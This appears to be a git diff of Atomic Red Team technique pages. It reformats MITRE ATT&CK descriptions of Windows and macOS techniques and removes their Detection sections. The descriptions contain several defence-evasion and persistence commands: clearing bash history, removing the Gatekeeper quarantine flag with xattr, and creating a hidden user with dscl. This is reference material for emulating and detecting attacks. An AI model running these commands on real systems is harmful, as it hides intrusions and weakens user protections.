Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas. (Citation: Microsoft runas) -Adversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system. (Citation: Pentestlab Token Manipulation) +Adversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system. (Citation: Pentestlab Token Manipulation) Access tokens can be leveraged by adversaries through three methods: (Citation: BlackHat Atkinson Winchester Token Manipulation) -'''Token Impersonation/Theft''' - An adversary creates a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread. This is useful for when the target user has a non-network logon session on the system. +**Token Impersonation/Theft** - An adversary creates a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread. This is useful for when the target user has a non-network logon session on the system. -'''Create Process with a Token''' - An adversary creates a new access token with DuplicateToken(Ex) and uses it with CreateProcessWithTokenW to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user. +**Create Process with a Token** - An adversary creates a new access token with DuplicateToken(Ex) and uses it with CreateProcessWithTokenW to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user. -'''Make and Impersonate Token''' - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken to assign the token to a thread. +**Make and Impersonate Token** - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken to assign the token to a thread. Any standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. -Metasploit’s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges. (Citation: Metasploit access token) The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens. (Citation: Cobalt Strike Access Token) - -Detection: If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows. (Citation: Microsoft Command-line Logging) - -If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. - -There are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx (Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser (Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information. - -Query systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account. (Citation: BlackHat Atkinson Winchester Token Manipulation) - -Platforms: Windows - -Data Sources: API monitoring, Access Tokens - -Effective Permissions: SYSTEM - -Permissions Required: User, Administrator - -Contributors: Tom Ueltschi @c_APT_ure, Travis Smith, Tripwire, Jared Atkinson, @jaredcatkinson, Robby Winchester, @robwinchester3
+Metasploit’s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges. (Citation: Metasploit access token) The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens. (Citation: Cobalt Strike Access Token)
## Atomic Tests diff --git a/atomics/T1135/T1135.md b/atomics/T1135/T1135.md index 80d4f7ba78..04f1b719c8 100644 --- a/atomics/T1135/T1135.md +++ b/atomics/T1135/T1135.md @@ -2,27 +2,17 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1135)
Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. -===Windows=== +### Windows File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) -Net can be used to query a remote system for available shared drives using the net view \\remotesystem command. It can also be used to query shared drives on the local system using net share. +[Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\remotesystem command. It can also be used to query shared drives on the local system using net share. Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. -===Mac=== +### Mac -On Mac, locally mounted shares can be viewed with the df -aH command. - -Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. - -Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. - -Platforms: macOS, Windows - -Data Sources: Process Monitoring, Process command-line parameters, Network protocol analysis, Process use of network - -Permissions Required: User
+On Mac, locally mounted shares can be viewed with the df -aH command. ## Atomic Tests diff --git a/atomics/T1136/T1136.md b/atomics/T1136/T1136.md index 153996ff83..55c3b8ec6e 100644 --- a/atomics/T1136/T1136.md +++ b/atomics/T1136/T1136.md @@ -2,15 +2,7 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1136)
Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system. -The net user commands can be used to create a local or domain account. - -Detection: Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary. - -Platforms: Linux, macOS, Windows - -Data Sources: Process Monitoring, Process command-line parameters, Authentication logs, Windows event logs - -Permissions Required: Administrator
+The net user commands can be used to create a local or domain account. ## Atomic Tests diff --git a/atomics/T1137/T1137.md b/atomics/T1137/T1137.md index bfd2526c40..25b72ecb36 100644 --- a/atomics/T1137/T1137.md +++ b/atomics/T1137/T1137.md @@ -2,7 +2,7 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1137)
Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started. -===Office Template Macros=== +### Office Template Macros Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template) @@ -14,34 +14,17 @@ Excel Personal.xlsb location:C:\Users\(username)\AppData\Roaming\Microsoft An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros. -===Office Test=== +### Office Test A Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started (Citation: Hexacorn Office Test) HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf -===Add-ins=== +### Add-ins Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) -Add-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), and Visual Studio Tools for Office (VSTO) add-ins. (Citation: MRWLabs Office Persistence Add-ins) - -Detection: Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated. - -Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins. (Citation: MRWLabs Office Persistence Add-ins) - -Non-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously. - -Platforms: Windows - -Data Sources: Process monitoring, Process command-line parameters, Windows Registry, File monitoring - -Permissions Required: User, Administrator - -System Requirements: Office Test technique: Office 2007, 2010, 2013, 2015 and 2016 -Add-ins: some require administrator permissions - -Contributors: Ricardo Dias, Loic Jaquemet
+Add-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), and Visual Studio Tools for Office (VSTO) add-ins. (Citation: MRWLabs Office Persistence Add-ins) ## Atomic Tests diff --git a/atomics/T1138/T1138.md b/atomics/T1138/T1138.md index e3ed3cb1d9..21a3fdb7f6 100644 --- a/atomics/T1138/T1138.md +++ b/atomics/T1138/T1138.md @@ -1,6 +1,6 @@ # T1138 - Application Shimming ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1138) -
The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow backward compatibility of programs as Windows updates and changes its code. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Engame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses Hooking to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in: +
The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Endgame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in: * %WINDIR%\AppPatch\sysmain.sdb * hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb @@ -10,23 +10,7 @@ Custom databases are stored in: * %WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom * hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom -To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to Hooking, utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. - -Detection: There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim): - -* Shim-Process-Scanner - checks memory of every running process for any Shim flags -* Shim-Detector-Lite - detects installation of custom shim databases -* Shim-Guard - monitors registry for any shim installations -* ShimScanner - forensic tool to find active shims in memory -* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot) - -Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse. - -Platforms: Windows - -Data Sources: Loaded DLLs, System calls, Windows Registry, Process Monitoring, Process command-line parameters - -Permissions Required: Administrator
+To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.
## Atomic Tests diff --git a/atomics/T1139/T1139.md b/atomics/T1139/T1139.md index 5021a4dbe3..3097ce3426 100644 --- a/atomics/T1139/T1139.md +++ b/atomics/T1139/T1139.md @@ -1,14 +1,6 @@ # T1139 - Bash History ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1139) -
Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way) - -Detection: Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like "history" instead of commands like cat ~/.bash_history. - -Platforms: Linux, macOS - -Data Sources: File monitoring, Process monitoring, Process command-line parameters - -Permissions Required: User
+
Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)
## Atomic Tests diff --git a/atomics/T1140/T1140.md b/atomics/T1140/T1140.md index f3df304678..0cefe5244c 100644 --- a/atomics/T1140/T1140.md +++ b/atomics/T1140/T1140.md @@ -1,26 +1,12 @@ # T1140 - Deobfuscate/Decode Files or Information ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1140) -
Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, Scripting, PowerShell, or by using utilities present on the system. +
Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, [Scripting](https://attack.mitre.org/techniques/T1064), [PowerShell](https://attack.mitre.org/techniques/T1086), or by using utilities present on the system. -One such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) +One such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016) -Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with Obfuscated Files or Information during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript. - -Detection: Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as certutil. - -Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. - -Platforms: Windows - -Data Sources: File monitoring, Process Monitoring, Process command-line parameters - -Defense Bypassed: Anti-virus, Host intrusion prevention systems, Signature-based detection, Network intrusion detection system - -Permissions Required: User - -Contributors: Matthew Demaske, Adaptforward, Red Canary
+Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.
## Atomic Tests diff --git a/atomics/T1141/T1141.md b/atomics/T1141/T1141.md index 42d8830155..75e74aac24 100644 --- a/atomics/T1141/T1141.md +++ b/atomics/T1141/T1141.md @@ -5,15 +5,7 @@ set thePassword to the text returned of (display dialog "AdobeUpdater needs permission to check for updates. Please authenticate." default answer "") (Citation: OSX Keydnap malware) -Adversaries can prompt a user for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. (Citation: OSX Malware Exploits MacKeeper) - -Detection: This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to detect. Monitor process execution for unusual programs as well as AppleScript that could be used to prompt users for credentials. - -Platforms: macOS - -Data Sources: User interface, Process Monitoring - -Permissions Required: User +Adversaries can prompt a user for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. (Citation: OSX Malware Exploits MacKeeper) ## Atomic Tests diff --git a/atomics/T1142/T1142.md b/atomics/T1142/T1142.md index 349f716668..92e64cf04e 100644 --- a/atomics/T1142/T1142.md +++ b/atomics/T1142/T1142.md @@ -2,15 +2,7 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1142)
Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials. -To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials. - -Detection: Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it. - -Platforms: macOS - -Data Sources: System calls, Process Monitoring - -Permissions Required: Administrator
+To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials. ## Atomic Tests diff --git a/atomics/T1144/T1144.md b/atomics/T1144/T1144.md index 0711e028a9..38d3072676 100644 --- a/atomics/T1144/T1144.md +++ b/atomics/T1144/T1144.md @@ -4,15 +4,7 @@ Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X) -In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper) - -Detection: Monitoring for the removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. - -Platforms: macOS - -Defense Bypassed: Application whitelisting, Anti-virus - -Permissions Required: User, Administrator +In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper) ## Atomic Tests diff --git a/atomics/T1145/T1145.md b/atomics/T1145/T1145.md index fac14e3632..ca7e31da49 100644 --- a/atomics/T1145/T1145.md +++ b/atomics/T1145/T1145.md @@ -2,21 +2,11 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1145)
Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto) -Adversaries may gather private keys from compromised systems for use in authenticating to Remote Services like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on *nix-based systems or C:\Users\(username)\.ssh\ on Windows. +Adversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. -Private keys should require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line. +Private keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. -Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia) - -Detection: Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication. - -Platforms: Linux, Windows, macOS - -Data Sources: File monitoring - -Permissions Required: User - -Contributors: Itzik Kotler, SafeBreach
+Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia) ## Atomic Tests diff --git a/atomics/T1146/T1146.md b/atomics/T1146/T1146.md index f28f742c75..30302a12ff 100644 --- a/atomics/T1146/T1146.md +++ b/atomics/T1146/T1146.md @@ -1,16 +1,6 @@ # T1146 - Clear Command History ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1146) -
macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE, export HISTFILESIZE=0, history -c, rm ~/.bash_history. - -Detection: User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the ~/.bash_history file are indicators of suspicious activity. - -Platforms: Linux, macOS - -Data Sources: Authentication logs, File monitoring - -Defense Bypassed: Log analysis, Host forensic analysis - -Permissions Required: User
+
macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE, export HISTFILESIZE=0, history -c, rm ~/.bash_history.
## Atomic Tests diff --git a/atomics/T1147/T1147.md b/atomics/T1147/T1147.md index 00ea5b274a..b70b2c8a69 100644 --- a/atomics/T1147/T1147.md +++ b/atomics/T1147/T1147.md @@ -1,14 +1,6 @@ # T1147 - Hidden Users ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1147) -
Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. By using the Create Account technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 401 (Citation: Cybereason OSX Pirrit). - -Detection: This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs. - -Platforms: macOS - -Data Sources: Authentication logs, File monitoring - -Permissions Required: Administrator, root
+
Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 401 (Citation: Cybereason OSX Pirrit).
## Atomic Tests diff --git a/atomics/T1148/T1148.md b/atomics/T1148/T1148.md index be170f1b33..f91f71ff59 100644 --- a/atomics/T1148/T1148.md +++ b/atomics/T1148/T1148.md @@ -1,16 +1,6 @@ # T1148 - HISTCONTROL ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1148) -
The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". HISTCONTROL can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands. - -Detection: Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL environment variable is also suspicious. - -Platforms: Linux, macOS - -Data Sources: Process Monitoring, Authentication logs, File monitoring, Environment variable - -Defense Bypassed: Log analysis, Host forensic analysis - -Permissions Required: User
+
The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". HISTCONTROL can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.
## Atomic Tests diff --git a/atomics/T1150/T1150.md b/atomics/T1150/T1150.md index 6e0fd347b0..d6116406fb 100644 --- a/atomics/T1150/T1150.md +++ b/atomics/T1150/T1150.md @@ -1,19 +1,7 @@ # T1150 - Plist Modification ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1150)
Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UT-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). -Adversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan) - -Detection: File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed. - -Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity. - -Platforms: macOS - -Data Sources: File monitoring, Process Monitoring, Process command-line parameters - -Defense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path - -Permissions Required: User, Administrator
+Adversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan) ## Atomic Tests diff --git a/atomics/T1151/T1151.md b/atomics/T1151/T1151.md index 575d8d3127..d8b9333200 100644 --- a/atomics/T1151/T1151.md +++ b/atomics/T1151/T1151.md @@ -2,17 +2,7 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1151)
Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to "evil.txt " (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). -Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious. - -Detection: It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious. - -Platforms: Linux, macOS - -Data Sources: File monitoring, Process Monitoring - -Permissions Required: User - -Contributors: Erye Hernandez, Palo Alto Networks
